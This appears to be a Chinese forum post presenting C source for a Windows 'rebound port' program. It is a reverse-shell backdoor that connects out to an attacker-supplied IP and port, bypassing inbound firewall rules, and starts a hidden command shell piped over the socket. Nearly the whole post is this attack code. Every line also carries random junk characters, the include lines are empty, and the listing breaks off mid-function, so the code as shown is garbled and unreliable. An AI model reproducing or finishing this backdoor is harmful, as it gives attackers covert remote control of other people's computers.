这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 XBQt:7[<
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/* ============================== S/nPK,^d2
Rebound port in Windows NT Zh=arlk
By wind,2006/7 :?>7Z6
===============================*/ CD$#}Id
#include 'X^auyL
#include Y`;}w}EcgR
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#pragma comment(lib,"wsock32.lib") |A8@r&
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void OutputShell(); zLpCKndj
SOCKET sClient; K~N$s"Qx
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Fx9-A8oIR
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void main(int argc,char **argv) L*6'u17y
{ rbZbj#
WSADATA stWsaData; @5Xo2}o-Q
int nRet; KdkA@>L!;
SOCKADDR_IN stSaiClient,stSaiServer; l8\UO<^fY
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if(argc != 3) C=:<[_m`
{ LeKovt%
printf("Useage:\n\rRebound DestIP DestPort\n"); H@Dpht>[
return; "Ms;sdjg}&
} W>K^55'
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WSAStartup(MAKEWORD(2,2),&stWsaData); rUiYR]mV
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <ql,@*Y
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stSaiClient.sin_family = AF_INET; v}G^+-?
stSaiClient.sin_port = htons(0); '![oLy
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *g/klK
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) a`xq
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{ !+l'<*8V
printf("Bind Socket Failed!\n"); =Zd(<&B K
return;
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} qt/K$'
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stSaiServer.sin_family = AF_INET; MdHm%Vx
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); E+f)Zg
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ]Bhy=1
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {/'T:n#
{ y0zMK4b
printf("Connect Error!"); +P/kfY"
return; W(, j2pU
} 3/G^V'Yu
OutputShell(); 34@ [ZKJ5
} 8v4}h9*F"7
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void OutputShell() $l7^-SK`E
{ 64s;EC
char szBuff[1024]; AK:cDKBO
SECURITY_ATTRIBUTES stSecurityAttributes; o[|[xuTm
OSVERSIONINFO stOsversionInfo; Y'v[2s
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]lB zp D
STARTUPINFO stStartupInfo; 5xQ-f
char *szShell; >=~\b
PROCESS_INFORMATION stProcessInformation; $ghZ<Y2}9
unsigned long lBytesRead; }3pM,.
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Gw
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5KCB^`|b>t
stSecurityAttributes.lpSecurityDescriptor = 0; nxLuzf4U5
stSecurityAttributes.bInheritHandle = TRUE; QV;o9j
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); jr6_|(0
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )vp0X\3q`
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); d2k-MZuT6
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K/Q"Z*
stStartupInfo.wShowWindow = SW_HIDE; _(W@FS
stStartupInfo.hStdInput = hReadPipe; Dg&84,bv^
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; jLVJ+mu
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GetVersionEx(&stOsversionInfo); vOQ%f?%G\
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switch(stOsversionInfo.dwPlatformId) 91-bz^=xO
{ Up9{aX
case 1: s#2t\}/
szShell = "command.com"; %fS9F^AK
break; 7)66e
default: 0-2|(9
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szShell = "cmd.exe"; b}e1JPk}!
break; jHLs
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} D=tZ}_'{t
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